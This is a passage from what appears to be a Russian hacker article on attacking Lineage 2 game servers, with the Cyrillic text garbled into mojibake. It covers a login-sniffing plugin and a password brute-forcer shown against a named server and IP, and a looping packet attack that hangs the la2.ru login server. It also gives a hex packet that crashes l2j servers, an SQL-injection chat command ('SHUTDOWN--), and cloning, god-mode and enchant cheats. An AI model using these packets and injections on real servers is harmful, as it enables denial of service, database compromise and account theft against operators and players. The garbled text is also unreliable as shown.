PLUGIN2_NAME "LineAge2 c3 Plugin" +#define PLUGIN2(x) PL_la2_plugin(x) +#define PLUGIN2_INIT() init_la2_plugin() +#include "la2_plugin.plug" +/* eof */ + +Äëÿ òîãî, ÷òîáû åãî èñïîëüçîâàòü, âàì íóæíî ñêîïèðîâàòü îáà ôàéëà â êàòàëîã ñî sniffit. Íó è äëÿ +êîìïèëÿöèè âàì ïîíàäîáèòñÿ âñ¸ òà æå áèáëèîòåêà blowfish è ñîîòâåòñòâóþùàÿ çàïèñü â make-ôàéëå. +m00.blackhat.ru/m00-la2sniff.jpg - äåìîíñòðèðóåò ðàáîòó ïåðåáîðùèêà ïàðîëåé ê lineage2 ñåðâåðàì +è ïàðàëëåëüíî çàïóùåííûé sniffit ñ óñòàíîâëåííûì ïëàãèíîì íà ïðèìåðå www.antaras.ru (217.107.212.212 - +èï ëîãèí-ñåðâåðà). + + +3. Óäàë¸ííîå îïðåäåëåíèå âåðñèè lineage2 ñåðâåðà +Ïîìíèòå ÿ ãîâîðèë, ÷òî ïîñëåäíèå 8 áàéò â ïàêåòàõ ëîãèí-ñåðâåðà îòâîäÿòñÿ ïîä ÷åêñóììó? Òî÷íåå, èç íèõ +ïðåäïîñëåäíèå 4 :> À åñëè âäðóã îñòàâèòü ïàêåò áåç ÷åêñóììû, îôô âåðñèÿ lineage ñåðâåðà íàñ ïðîñòî- +íàïðîñòî äèñêîííåêòèò.  l2j ôóíêöèÿ, êîòîðàÿ ïðîâåðÿåò ÷åêñóììó âîçâðàùàåò true èëè false, +íî ïî÷åìó-òî âîçâðàùàåìîå çíà÷åíèå íå ïðîâåðÿåòñÿ. Òî åñòü, ôàêòè÷åñêè l2j íå ïðîâåðÿåò ÷åêñóììó. +Ñîîòâåòñòâåííî, åñëè äèñêîííåêò, òî îôô, åñëè íåò, òî l2j. + + +4. Óäàë¸ííîå "ïîäâåøèâàíèå" login-ñåðâåðà +Áûëî çàìå÷åíî, ÷òî íåêîòîðûå ñåðâåðû íà ïàêåòû, íå ñîäåðæàùèå ëîãèíà/ïàðîëÿ îòâå÷àþò ïàêåòîì òèïà 0x03 +(êîòîðûé îçíà÷àåò, ÷òî âû óñïåøíî àâòîðèçîâàíû). Ïîñëå ÷åãî íà÷èíàþò âåñòè ñåáÿ êðàéíå íåñòàáèëüíî. +ß ïðîâåðèë ýòî íà 10-òè êðóïíûõ Ñ3 ñåðâåðàõ, ïîëîâèíà íèêàê íå îòâå÷àëà íà òàêîé ïàêåò, äðóãàÿ +îòâå÷àëà ïàêåòîì 0x01 (àâòîðèçàöèÿ íå ïðîøëà), íî òîëüêî www.la2.ru ïîñûëàë 0x03 è íà âðåìÿ ïðåêðàùàë +ïðèíèìàòü âõîäÿùèå ñîåäèíåíèÿ (âèäèìî, ó íèõ óñòàíîâëåíà ñèñòåìà "àâòî-ïîäú¸ìà"). +Äëÿ ðåàëèçàöèè ïðîãðàììû, êîòîðàÿ áû ïîäâåøèâàëà la2.ru, âàì íóæíî âñåãî-ëèøü ñìåøàòü âûøå-ïðåäîñòàâëåííûé +ãåíåðàòîð ïàêåòîâ ñ ïðîñòûì tcp-êëèåíòîì. +Áåñêîíå÷íûé öèêë ïîñûëà ïîäîáíûõ ïàêåòîâ ïðèâåä¸ò ê íåâîçìîæíîñòè çàéòè íà èãðîâîé ñåðâåð. + + +5. Êëîíèðîâàíèå +Óÿçâèìîñòü î êîòîðîé ñåé÷àñ ïîéä¸ò ðå÷ü èìåëà ìåñòî áûòü â Ñ1 âåðñèè ËÀ2, ïîýòîìó îñîáî çàîñòðÿòü âíèìàíèå +íà íåé íå áóäó. +Ñóòü çàêëþ÷àëàñü â òîì, ÷òî ìû, àâòîðèçîâàâøèñü íà login-ñåðâåðå 1 ðàç ïîä îäíèì àêêàóíòîì, ìîãëè çàõîäèòü +íà game-ñåðâåð ïîä ýòèì æå àêêàóíòîì ïàðàëëåëüíî íåîãðàíè÷åííîå ÷èñëî ðàç. Ñîîòâåòñòâåííî, ìîæíî áûëî âõîäèòü +â èãðó ïîä îäíèì è òåì æå ïåðñîíàæåì ñêîëüêî óãîäíî. +Âòîðàÿ âîçìîæíîñòü êëîíèðîâàíèÿ áûëà îïèñàíà â ïàðàãðàôå ïðî IID è OID. +Êëîíèðîâàíèå ïðåäìåòîâ ÷åðåç WH, ïèòîìöåâ è òä ðàññìàòðèâàòü íå áóäó, ìíå íå êàæåòñÿ ýòà òåìà èíòåðåñíîé, ò.ê. +íà íîðìàëüíûõ ñåðâåðàõ ýòî óæå äàâíî íå ðàáîòàåò. + + +6. Ñîçäàíèå "ìóòàíòîâ" è ñìåøåíèå ñêèëëîâ +Î÷åíü èíòåðåñíàÿ òåìà. Ïåðâûì êòî ðåàëèçîâàë ïðîãðàììíî ýòè èäåè (â ðóíåòå) áûë hint. +Äëÿ íà÷àëà, íà ñêîëüêî âàì èçâåñòíî, â lineage ñóùåñòâóåò íåñêîëüêî ðàññ. Çà êàæäîé èç íèõ çàêðåïëåíû ñâîè +êëàññû (ìàã è âîéí). Íî êëàññ îäíîé ðàññû åñòåññòâåííî îòëè÷àåòñÿ îò àíàëîãè÷íîãî êëàññà äðóãîé ðàññû (ñêèëëàìè). +À ó ðàññû ãíîìîâ íåò êëàññà ìàãîâ âîîáùå. Ýòî áûëî íåîáõîäèìîå ïðåäèñëîâèå, ÷òîáû ïîíÿòü ñìûñë âñåãî íèæåîïèñàííîãî. +À òåïåðü ðàññìîòðèì çàïðîñ íà ñîçäàíèå ïåðñîíàæà: +0B // òèï ïàêåòà +45 00 6D 00 30 00 30 00 00 00 // íèê ïåðñà +04 00 00 00 // ðàññà +00 00 00 00 // ïîë +35 00 00 00 // íà÷àëüíàÿ ïðîôåññèÿ (êëàññ) +14 00 00 00 // 6 ïîñòîÿííûõ çíà÷åíèé, ÿ çàòðóäíÿþñü ñêàçàòü, ÷òî îíè çíà÷àò +27 00 00 00 // +2D 00 00 00 // +1B 00 00 00 // +1D 00 00 00 // +0A 00 00 00 // +00 00 00 00 // òèï âîëîñ +00 00 00 00 // öâåò âîëîñ +00 00 00 00 // òèï ëèöà +Ýòîò ïàêåò ñîçäàñò Ãíîìà âîéíà ñ íèêîì "m00" ìóæñêîãî ïîëà. +Îêàçàëîñü, ÷òî ñåðâåð (äàæå îôôèöèàëüíûé) íå ïðîâåðÿåò ñîîòâåòñòâèå ðàññû ñ âûáðàíûì êëàññîì. Ýòî ïîçâîëÿåò íàì +ñîçäàâàòü ÷àðîâ îäíîé ðàññû ñ êëàññîì ñîâåðøåííî äðóãîé (ÿ èõ íàçûâàþ ìóòàíòàìè =)). Çâó÷èò, êîíå÷íî, èíòåðåñíî, íî +íà ñàìîì äåëå ìû èìååì îáû÷íîãî ÷àðà ñî ñâîèìè ñòàòàìè è ñêèëëàìè, íî ñ íåñâîéñòâåííûìè åìó òåêñòóðàìè. Ïî èäåå +áàã êðîìå ôàíà íàì íè÷åãî äàòü íå ìîæåò (ôàíà ââèäå ñâåòëîãî ýëüôà ñïîéëÿùåãî ìîáîâ :)), íî îêàçàëîñü, ÷òî èç ýòîãî, +íà ïåðâûé âçãëÿä, íåèíòåðåñíîãî áàãà ïðîèñòåêàþò åù¸ äâà. +Íàñêîëüêî âû çíàåòå, ó êàæäîé ðàññû åñòü ñâîè NPC ó êîòîðûõ áåðóòñÿ êâåñòû íà ïðîôåññèþ è ó÷àòñÿ ñêèëëû. Òàê +âîò, ìóòàíòû ó÷àò ñêèëëû êëàññà îäíîé ðàññû ó NPC äðóãîé ðàññû. Ê ïðèìåðó, ÿ, èãðàÿ ñâåòëûì ýëüôîì, ó÷èë ñêèëë +ãíîìîâ "Spoil" ó NPC ýëüôîâ. È òóò âñòàë âîïðîñ, à êòî ìíå òîãäà áóäåò äàâàòü ïðîôåññèþ è êàêóþ? +Äåëî â òîì, ÷òî ñêèëëû äàþòñÿ â çàâèñèìîñòè îò ïðîôåññèè (â äàíîì êîíòåêñòå "êëàññà"), à âîò êâåñòû â +çàâèñèìîñòè îò ðàññû. Òî åñòü, ìîæåò ïîëó÷èòñÿ òàêîå, ÷òî ïî äîñòèæåíèþ 20-ãî óðîâíÿ è áóäó÷è ãíîìîì-ñïîéëåðîì, +âû ñìîæåòå ïîëó÷èòü ïðîôåññèþ "Elven Knight" (ïåðâàÿ ïðîôåññèÿ ñâåòëûõ ýëüôîâ). +Íî ýòà èíôîðìàöèÿ íå ïîäòâåðæäåíà íà ïðàêòèêå. +Êñòàòè ãîâîðÿ, ñ÷èòàííîå êîëè÷åñòâî ìóòàíòîâ ìîãóò âîîáùå ó÷èòü ñêèëëû. +À âîîáùå, åñëè ãîâîðèòü î ñêèëëàõ, òî â ëà2 åñòü åù¸ îäèí áàã. LA2 îôô êëèåíò íå ïðîâåðÿåò ñîîòâåòñòâèå óðîâíÿ ÷àðà è +óðîâíÿ äîñòóïíîãî äëÿ èçó÷åíèÿ ñêèëëà. Òî åñòü, ê ïðèìåðó, áóäó÷è íà 5-îì ëâëå human fighter'îì âû ìîæåòå ó÷èòü +mortal blow ìàêñèìàëüíîãî óðîâíÿ (ïðè óñëîâèè, ÷òî õâàòèò SP). Ýòî ëåãêî ðåàëèçóåòñÿ íà ïàêåòíîì óðîâíå. +Åù¸ õî÷åòñÿ äîáàâèòü, ÷òî íà l2j ñåðâåðå êàêèå-ëèáî ïðîâåðêè âîîáùå îòñóòñòâóþò. Òî åñòü âû ìîæåòå ó÷èòü äàæå òå +ñêèëëû, êîòîðûå äîñòóïíû òîëüêî GM-àì. + + +7. Áåññìåðòèå. +Âîò ìû è äîøëè äî ñàìîé èíòåðåñíîé òåìû, èìåíóåìîé â ïðîñòîíàðîäüå - god mode. +Ñîãëàñèòåñü, íà ñåðâåðå, ãäå îíëàéí áîëüøå 1000 ÷åëîâåê, áûòü áåññìåðòíûì - îäíî óäîâîëüñòâèå =) +Äëÿ íà÷àëà, êîãäà íàñòóïàåò áåññìåðòèå? Íà ýòîò âîïðîñ áûë äàí áàíàëüíûé, íî êàê îêàçàëîñü òî÷íûé îòâåò: +êîãäà ÷àð óæå ì¸ðòâ. +Êàçàëîñü áû áðåä, íî êîãäà ó ïåðñîíàæà 0 HP è îí æèâ, åãî äåéñòâèòåëüíî íåâîçìîæíî óáèòü (íó íå ñàâñåì íåâîçìîæíî :) - +îá ýòîì íèæå). Íî êàê ñäåëàòü, ÷òîáû ó ÷àðà áûë àáñîëþòíûé 0 HP, îí áûë æèâ è ïðè ýòîì åù¸ HP íå âîññòàíàâëèâàëèñü? +Äëÿ íà÷àëà ðàññìîòðèì âîïðîñ ñ 0 HP.  la2 åñòü òàêîé áàã: åñëè ïîñëå ñìåðòè íàæàòü íà "return to the nearest village" +è ñðàçó æå çàâåðøèòü ïðîöåññ l2.exe, ÷àð ïîÿâèòñÿ â ãîðîäå ñ àáñîëþòíûì 0 HP è äàæå ñ áàôôàìè (åñëè îíè äî ýòîãî áûëè). +Ýòî ñâåçàíî ñ òåì, ÷òî ïîñëå RequestRestartPoint-ïàêåòà êëèåíò äîëæåí ïîñûëàòü ïàêåò Apearing, ïîñëå êîòîðîãî +ñîáñòâåííî ñåðâåð è âîññòàíàâëèâàåò ÷àðó HP è óáèðàåò áàôôû. À òàê êàê êëèåíò ìû çàêðûâàåì, îí ýòîò ïàêåò +ïîñëàòü íå óñïåâàåò. +Êñòàòè, ïî÷åìó ÿ âñ¸ âðåìÿ ãîâîðþ "àáñîëþòíûé" 0? Äåëî â òîì, ÷òî íà ñåðâåðå HP õðàíÿòñÿ â ïåðåìåííîé òèïà float +(÷òî ñàìîå èíòåðåñíîå, êëèåíòó ïåðåñûëàåòñÿ îíî â âèäå öåëîãî ÷èñëà). Òî åñòü, åñëè âû áóäåòå ïîñòåïåííî ñíèæàòü +HP äî 0 ñ ïîìîùüþ bleed èëè poison, òî âû íå ïîëó÷èòå àáñîëþòíûé 0, à åñëè HP íå íîëü, çíà÷èò âû æèâû. +Ïîýòîìó åäèíñòâåííûé ñïîñîá ïîëó÷èòü àáñîëþòíûé 0 - ýòî óìåðåòü. +Âîò, äåëàòü 0 HP ìû íàó÷èëèñü, òåïåðü ïîãîâîðèì î òîì, êàê çàìîðîçèòü èõ íà íóëå. +1) Ïåðâûì øàãîì â ýòîì íàïðàâëåíèè áûëî ñîçäàíèå ãíîìà-ìàãà (êàê áûëî îïèñàíî â ïðåäûäóùåì ïàðàãðàôå). Ñêîðåå âñåãî, +â ñëåäñòâèå òîãî, ÷òî ó ãíîìîâ íåò òàêîãî êëàññà êàê ìàã âîîáùå, ó íåãî íå ðåãåíåðèðóþòñÿ HP/MP. Ñîîòâåòñòâåííî, +ïðîäåëàâ ñ òàêèì ãíîìîì âûøå-óïîìÿíóòûå äåéñòâèÿ, ïîëó÷èì áåññìåðòíîãî ïåðñîíàæà. Ýòîò áàã ïîôèêñèëè ïðàêòè÷åñêè âåçäå. +2) Âòîðîé ñïîñîá áûë îòêðûò íåñêîëüêî ïîçäíåå ãíîìîâ-ìàãîâ. Îêàçàëîñü, ÷òî ïðè âûáîðå íåñóùåñòâóþùåé ðàññû, ñîçäàþòñÿ +áåññìåðòíûå human'û ñ ëþáûì êëàññîì. È ñàìîå èíòåðåñíîå, ÷òî åñëè òàêèì ñïîñîáîì ñîçäàâàòü êëàññ human mage, âñ¸ ðàâíî +ïîëó÷èòñÿ human fighter, íî ñ ìàãè÷åñêèìè ñêèëëàìè. +Ó ýòèõ äâóõ ñïîñîáîâ åñòü äâà î÷åíü âåñîìûõ íåäîñòàòêà: + a) ñîçäàííûå ïåðñîíàæè íå ìîãóò ó÷èòü ñêèëëû è ïîëó÷àòü ïðîôåññèþ. + b) êàê âû ïîíèìàåòå, ðåãåí HP íå ðàáîòàåò âîîáùå, ñîîòâåòñòâåííî âàì ïðèä¸òñÿ áåãàòü áåññìåðòíûì âñ¸ âðåìÿ. +3) À òåïåðü, âíèìàíèå, áàã - êîòîðûé ìíå ïîìîã íàéòè âñ¸ òîò æå hint. +Íàñêîëüêî âû çíàåòå, â ëèíåéêå åñòü òàêàÿ øòóêà êàê ïåðåâåñ. Êîãäà âû çàãðóæåíû íà 65%+, ó âàñ ïàäàåò ñêîðîñòü +áåãà, àòàêè è ðåãåíåðàöèè. Íî ìàëî êòî çíàåò, ÷òî åñëè ó âàñ 90%+, òî ïîìèìî òîãî, ÷òî âû íå ìîæåòå äâèãàòüñÿ, ó âàñ +íå ðåãåíåðèðóåòñÿ HP! Íî ÷òî òîëêó îò òîãî, ÷òî, ïîÿâèâøèñü ïîñëå ñìåðòè â ãîðîäå, âû áóäåòå ñòîÿòü íà ìåñòå áåññìåðòíûì? +À òóò íàì ïîìîæåò ñòðàéäåð! Ñåâ íà íåãî, âû ñìîæåòå áåãàòü ñ åãî ñêîðîñòüþ ïðè òîì, ÷òî HP âñ¸ ðàâíî íå +ðåãåíåðèðóåòñÿ! Íî òóò åñòü òîæå ìàëåíüêèé ïîäâîäíûé êàìåíü - íà íåêîòîðûõ ñåðâåðàõ (reborn.ru - C4) íåëüçÿ àòàêîâàòü +áóäó÷è íà ñòðàéäåðå. Òóò óæ íè÷åãî íå ïîäåëàåøü, ìîãó ïîñîâåòîâàòü òîëüêî ïîëüçîâàòüñÿ áàôôîì blazing skin/freazing skin. +4) íó è ïîñëåäíèé áàã ñ áåññìåðòèåì - ýòî demon's set. Ýòî ïîæàëóé ñàìûé ñòàðûé áàã íà áåññìåðòèå è î í¸ì â ïðèíöèïå âñå +çíàþò. Çàâÿçàí îí íà òîì, ÷òî ó âàñ ïîëó÷àåòñÿ îòðèöàòåëüíûå õï è âàñ ñîîòâåòñòâåííî îïÿòü æå íåëüçÿ óáèòü. + +Âñå âûøåîïèñàííûå òèïû áåññìåðòèÿ îáúåäèíÿåò îäèí ñåðü¸çíûé íåäîñòàòîê. Ïåðñîíàæ ïåðåñòà¸ò áûòü áåññìåðòíûì êàê òîëüêî +ó íåãî êàêèì-ëèáî îáðàçîì ïðèáàâèòñÿ HP - â ñëåäñòâèå lvlup'à èëè áàíàëüíîãî heal'à. Òàêæå îí óìèðàåò îò bleed, poison, +íåêîòîðûõ âàìïèðèçìîâ. + +Åù¸ òóò âñïîìíèëñÿ áàã ñ "fake death". Íà íåêîòîðûõ êðèâûõ ÿâàõ ïîñëå FD ÷àðû êàê áû òàê è îñòàþòñÿ ì¸ðòâûìè è èõ íåëüçÿ +àòàêîâàòü ïîêà îíè íå ñäåëàþò ðåñòàðò. Íó ýòî òàê, ê ñëîâó. + + +8. 'remote DoS' è ÷òî ýòî äà¸ò +Îáû÷íî óÿçâèìîñòè ïîäîáíîãî ðîäà îñîáî íå öåíÿòñÿ, òàê êàê áîëåå ÷åì ïðîñòî "ïîïðèêàëûâàòüñÿ" èç íèõ íè÷åãî +ïîëó÷èòü íåëüçÿ. LA2 æå ïîñòîÿííî ñîõðàíÿåò ñîñòîÿíèå ìèðà (÷åðåç êàæäûå Í-ñåêóíä - ýòîò âîïðîñ åù¸ òî÷íî íå +èçó÷åí, äà îí è íå òàê âàæåí), ÷òîáû ïîñëå âíåçàïíîãî ïàäåíèÿ ñäåëàòü îòêàò. Òî åñòü, óìåÿ ïðîãíîçèðîâàòü +(èëè ïðîâîöèðîâàòü) ïàäåíèå game-ñåðâåðà, ìû ïîëó÷àåì "âëàñòü íàä îòêàòàìè". ×òî ýòî çíà÷èò? À òî, ÷òî, +âàñ óáèëè? Îòêàò! Âàñ ðàçäåëè? Îòêàò!! Ó âàñ íå ïîëó÷èëîñü çàòî÷èòü øìîòêó? Îòêàò!!! +Êðîìå òîãî, åñòü î÷åíü öåííûå ìîíñòðû, êîòîðûå èìåþò î÷åíü áîëüøîå resp time (fairy queen timinel - ðåñï +5 ÷àñîâ, íàïðèìåð) è ïðèñóòñòâóþò â åäèíè÷íîì ýêçåìïëÿðå. Óáèëè, ïîâàëèëè ñåðâåð, ñåðâåð ïîäíÿëñÿ, ìîá ñíîâà +ïîÿâèëñÿ.  èòîãå âðåìÿ ðåñïà ñîêðàùàåòñÿ ñ 5 ÷àñîâ äî 3-¸õ ìèíóò. +Êàê æå ïåðåãðóæàòü ñåðâåð? +Äëÿ l2j 100% ðàáî÷èé ñïîñîá - ýòî êðèñòàëèçàöèÿ. +72 // RequestCrystallizeItem +00 00 00 00 // OID ïðåäìåòà +FF FF FF FF // êîëè÷åñòâî +Ïîäñòàâëÿåì â ýòîò ïàêåò ðåàëüíûé OID ïðåäìåòà è îòñûëàåì. Íà ÷òî ñåðâåð ìîìåíòàëüíî ïàäàåò. +Äëÿ ïðîäæåêòîâ òóò âñ¸ ñëîæíåå. Ïðè øèôðîâàíèè ïàêåòîâ íåïðàâèëüíûì êëþ÷¸ì, ñåðâåð èíîãäà ïàäàåò. ÏÎ÷åìó? Åñëè +êëþ÷è íå ñîâïàäàþò, çíà÷èò ñåðâåð ïðè ðàñøèôðîâêå ïîëó÷àåò ñîâåðøåííî ðàíäîìíûå çíà÷åíèÿ (òî åñòü íè òî, ÷òî ìû +çàøèôðîâûâàëè). È âûñëåäèòü êàê ðàç òó ïîñëåäîâàòåëüíîñòü çíà÷åíèé, ïðè êîòîðîé ñåðâåð ïàäàåò, ó ìåíÿ ïîêà ÷òî +íå ïîëó÷èëîñü. + + +9. integer overflow â ñåòåâîì äâèæêå l2j +Íó è òàê, ÷òîáû îêîí÷àòåëüíî îïðîâåðãíóòü ìíåíèå î òîì, ÷òî â lineage2 íåò ñåðü¸çíûõ áàãîâ, +ïðîäåìîíñòðèðóþ âàì öåëî÷èñëåííîå ïåðåïîëíåíèå â ñåðâåðå l2j â ïðîöåäóðå îáðàáîòêè êëèåíòñêèõ +ïàêåòîâ: +public void run() +{ + _log.fine("loginserver thread[C] started"); + int lengthHi = 0; + int lengthLo = 0; + int length = 0; + boolean checksumOk = false; + int sessionKey = -1; + String account = null; + String gameServerIp = null; + try + { + InetAddress adr = InetAddress.getByName(_gameServerHost); + gameServerIp = adr.getHostAddress(); + Init startPacket = new Init(); + _out.write(startPacket.getLength() & 0xff); + _out.write(startPacket.getLength() >> 8 & 0xff); + _out.write(startPacket.getContent()); + _out.flush(); + do + { + lengthLo = _in.read(); + lengthHi = _in.read(); + length = lengthHi * 256 + lengthLo; + if(lengthHi < 0) + { + _log.warning("Client terminated the connection."); + break; + } + byte incoming[] = new byte[length]; + incoming[0] = (byte)lengthLo; + incoming[1] = (byte)lengthHi; +................. +Ýòî êîíå÷íî íå ñàâñåì 'integer overflow' â êëàññè÷åñêîì ïîíèìàíèè ýòîãî ñëîâîñî÷åòàíèÿ, +íî ïðèâîäèò îíî ñíà÷àëà ê äâóõ-áàéòíîìó ïåðåïîëíåíèþ (off-by-two overflow), à çàòåì ê ... +Ïîõîæàÿ óÿçâèìîñòü èìååòñÿ â ëà2 êëèåíòå è l2walker'å. Îíè âèñíóò, ñæèðàÿ 100% ïðîöåññîðíîãî âðåìåíè. +Íî èõ èñõîäíèêîâ ó ìåíÿ íåò, íî åñòü îñíîâàíèå ïîëàãàòü, ÷òî òàì êîä íåñêîëüêî èíîé. +Êñòàòè ãîâîðÿ, ñåðâåð L2J ïðîñòî îò è äî çàïîëíåí ïîäîáíûìè áàãàìè. Ìíîãèå èç íèõ îïèñàíû íà ÷èòåðñêèõ ôîðóìàõ. + + +10. SQL-injection +Äà, ÷åðåç ýòîò áàã â ôîðóìàõ áûëî âçëîìàíî, íàâåðíîå, åù¸ áîëüøå ñåðâåðîâ ÷åì êîãäà-òî ñ ïîìîùüþ unicode-áàãà â +iis. Êàêîâî áûëî ìî¸ óäèâëåíèå, êîãäà ÿ óçíàë, ÷òî îí åñòü è â lineage. À îíî â ïðèíöèïå è ïîíÿòíî, +ìíîãîå èç òîãî, ÷òî ìû ïåðåäà¸ì la2-ñåðâåðó (òàéòëû äëÿ ÷ëåíîâ êëàíà, íèê äëÿ èãíîðà, ñïèñîê äðóçåé è òä) ñðàçó æå +äîáàâëÿåòñÿ â ñåðâåðíóþ sql-áàçó. Ñîîòâåòñòâåííî, ïðîñòîé êîìàíäîé: /block 'SHUTDOWN-- ìû ìîæåì âûêëþ÷èòü sql-ñåðâåð. +Áîëüøå âñåãî ïîðàæàåò òî, ÷òî àäìèíû, áðàâøèåñÿ ôèêñèòü ýòîò áàã, â ïåðâóþ î÷åðåäü ôèëüòðîâàëè äàííûå íà ñëîâî +"SHUTDOWN--" è òîëüêî ïîòîì äîãàäàëèñü, ÷òî ðåñòàðò ñåðâåðà - ýòî ñàìîå ìèíèìàëüíîå èç òîãî, ÷òî ìîæíî ñäåëàòü +èñïîëüçóÿ ýòîò áàã. +Áîëåå ïîäðîáíî íà ýòîì áàãå ÿ îñòàíàâëèâàòüñÿ íå áóäó, òàê êàê îí, ïîæàëóé, ñàìûé ñåðü¸çíûé èç òîãî, ÷òî âîîáùå +åñòü â ëèíåéêå. Ñêàæó ëèøü, ÷òî ôèêñÿò åãî êðàéíå êðèâî :) + + +11. Çàòî÷êà +Ìíå êàæåòñÿ, áàã ñ çàòî÷êîé ñòîèò íà âòîðîì ìåñòå ïî âîñòðåáîâàííîñòè ïîñëå "äþïà". +×òî òàêîå çàòî÷êà âîîáùå? Ýòî òàêîé ñâèòîê, êîòîðûé ïîçâîëÿåò óëó÷øèòü õàðàêòåðèñòèêè òîé èëè èíîé øìîòêè, ïîñëå +÷åãî óäàëÿåòñÿ. Íî óëó÷øàòü ìîæíî îòíþäü íå äî áåñêîíå÷íîñòè. Ïîñëå +3 ïîÿâëÿåòñÿ âåðîÿòíîñòü òîãî, ÷òî øìîòêà ñëîìàåòñÿ. +Ïðè÷¸ì, ÷åì âûøå ñòåïåíü "çàòî÷åííîñòè" âåùè, òåì áîëüøå âåðîÿòíîñòü å¸ ïîëîìêè (êñòàòè, íå ôàêò, îá ýòîì íèæå). +Êàê ðàç íàëè÷èå âîò ýòîé ïåðåìåííîé "âåðîÿòíîñòè" ïðèâåëî ê ïîÿâëåíèþ áåñ÷èñëåííîãî ìíîæåñòâà ñïîñîáîâ çàòî÷êè. +Ê ïðèìåðó, ó êîãî-òî âäðóã êàêèì-òî ÷óäîì ïîëó÷èëîñü çàòî÷èòü íà +6, êîãäà îí ... áåæàë! È òåïåðü ýòîò ÷åëîâåê ïèøåò +íà ôîðóìàõ, ÷òî ýòî íîâûé 100% ñïîñîá òî÷êè. Òàêæå íåêîòîðûå ïèøóò, ÷òî ëó÷øå òî÷èòü 1 ðàç íà 1-îì óðîâíå, ëó÷øå +òî÷èòü ãíîìîì, òàêæå ÷òî âåðîÿòíîñòü çàâèñèò îò "ðåêîìåíäàöèé", îò èíòåëëåêòà (êñòàòè, ïðî INT ìíå ñêàçàë äîñòàòî÷íî +ïðîñâåù¸ííûé ÷åëîâåê), ëó÷øå òî÷èòü íî÷üþ, èñïîëüçîâàòü soulshots, áèòü â ýòîò ìîìåíò ìîáà, çàìåðÿòü âðåìÿ ìåæäó +òî÷êàìè è òàê äàëåå è òîìó ïîäîáíîå. ß, êîíå÷íî, íå ìîãó ñïîðèòü ñ ýòèìè âûñêàçûâàíèÿìè, òàê êàê ÿ ñàì íå îïðîáîâàë +âñ¸, ÷òî ïèøóò íà ôîðóìàõ, íî çíàþ òî÷íî - çà 100% ñïîñîá çàòî÷êè ìíîãèå ëþäè ãîòîâû âûïëàòèòü íåïëîõèå äåíüãè. +Ñëåäîâàòåëüíî, òàêîãî ñïîñîáà íà ïóáëèêå ê ñîæàëåíèþ íåò. À åñòü ëè îí âîîáùå? Ïîïðîáóåì âìåñòå â ýòîì ðàçîáðàòüñÿ. +Äëÿ íà÷àëà, äàâàéòå ðàçáåð¸ì òî, êàê íà ïàêåòíîì óðîâíå òî÷èòñÿ øìîòêà: +1-ûé ïàêåò - ýòî êîãäà â èãðå ìû íàæèìàåì ïðàâîé êíîïêîé íà çàòî÷êå, òî åñòü àêòèâèðóåì å¸. + +14 // òèï ïàêåòà (UseItem) +86 a4 13 40 // OID çàòî÷êè +00 00 00 00 + +Ïîñëå àêòèâàöèè çàòî÷êè ìû âûáèðàåì òîò ïðåäìåò, êîòîðûé õîòèì òî÷èòü: + +58 // òèï ïàêåòà (RequestEnchantItem) +74 a4 13 40 // OID ïðåäìåòà + +Âñ¸ ïðåäåëüíî ïðîñòî. +Êñòàòè ãîâîðÿ, íàðÿäó ñ ìíîãî÷èñëåííûìè ñïîñîáàìè çàòî÷êè, ñóùåñòâîâàëà òàêàÿ òåîðèÿ, ÷òî âåðîÿòíîñòü òî÷êè +ïðîñ÷èòûâàåòñÿ íà êëèåíòå è êàê áû ìû ãîâîðèì ñåðâåðó, ñëîìàëñÿ ïðåäìåò èëè íåò. È áóäòî áû ïðîñòûì artmoney +ìîæíî 100% òî÷èòü. Ýòî íå ïðàâäà, âû òîëüêî ÷òî â ýòîì óáåäèëèñü. +Äåéñòâèòåëüíî, íà ïàêåòíîì óðîâíå òî÷êà âûãëÿäèòü ïðåäåëüíî ïðîñòî. Êàê ìîæíî îáìàíóòü ýòó ñèñòåìó? +ß ìîãó ïðåäëîæèòü âàì âîò òàêèå âàðèàíòû: +1. àêòèâèðîâàòü îäíó è òó æå çàòî÷êó íåñêîëüêî ðàç +2. ïîñëàòü RequestEnchantItem-ïàêåò íåñêîëüêî ðàç +3. drop'íóòü çàòî÷êó ïîñëå àêòèâàöèè (ïîçâîëèò òî÷èòü îäíîé çàòî÷êîé ñêîëüêî óãîäíî), ëèáî ïîçâîëèò äåëàòü ëîæíóþ (fake) +Çàòî÷êó. +4. äðîïíóòü øìîòêó ñðàçó æå ïîñëå RequestEnchantItem-ïàêåòà. Åñëè óñïååòå, øìîòêà ìîæåò íå ñëîìàòüñÿ. Íî çàòî÷åòñÿ ëè? +Âñå ýòè ñïîñîáû ÿ îïðîáîâàë íà antaras.ru, ê ñîæàëåíèþ íà í¸ì îíè íå ñðàáîòàëè, íî, óâåðÿþ, îäèí èç íèõ 100% +ðàáîòàåò íà íåêîòîðûõ êðóïíåéøèõ Ðîññèéñêèõ ñåðâåðàõ. Ïî ïðîñüáå òîãî ÷åëîâåêà, êòî ìíå ñ ýòèì ïîìîãàë, ÿ íå ìîãó +íàçâàòü ýòè ñåðâåðû è îïèñàòü ñïîñîá ïîäðîáíåå. + +Ïîìèìî âûøå-îïèñàííûõ ñïîñîáîâ òî÷êè, åñòü åù¸ ìåòîä fake-çàòî÷êè. Îí êàê ðàç îñíîâàí íà òîì, ÷òî ïîñëå àêòèâàöèè +çàòî÷êè, ìû êóäà-íèáóäü å¸ ïðÿ÷åì. Ñåðâåð ïðîñ÷èòûâàåò çàòî÷èëñÿ ïðåäìåò èëè íåò è âûâîäèò ðåçóëüòàò, êîòîðûé èç-çà +ñïðÿòàííîé çàòî÷êè íå ââîäèòñÿ â ñèëó. Òî åñòü ïðåäìåò è íå ëîìàåòñÿ è íå òî÷èòñÿ, íî ìû âèäèì ðåçóëüòàò. +Íà îñíîâå ýòîãî ìåòîäà, íàðîä ïûòàëñÿ èñêàòü êàêèå-òî çàêîíîìåðíîñòè â òî÷êå è ïðîñ÷èòûâàòü å¸ âåðîÿòíîñòü. +×òî êàñàåòñÿ çàêîíîìåðíîñòåé, êàê ýòî íå óäèâèòåëüíî, îíè èõ íàõîäèëè. Íî íàëè÷èå çàêîíîìåðíîñòè ñòàâèò ïîä +âîïðîñ ñàìî ñóùåñòâîâàíèå ðàíäîìà â òî÷êå. Ïî êðàéíåé ìåðå ñòåïåíü åãî "ðàíäîìíîñòè". +Âîò íàðàáîòêè âçÿòûå ñ ôîðóìà cheaters.net.ua, à òî÷íåå èç ïîñòà F4llen'a (ïðÿìóþ ññûëêó èùèòå â êîíöå): ++1 100% ++2 100% ++3 100% ++4 -+-+-+ (+-+-+-) 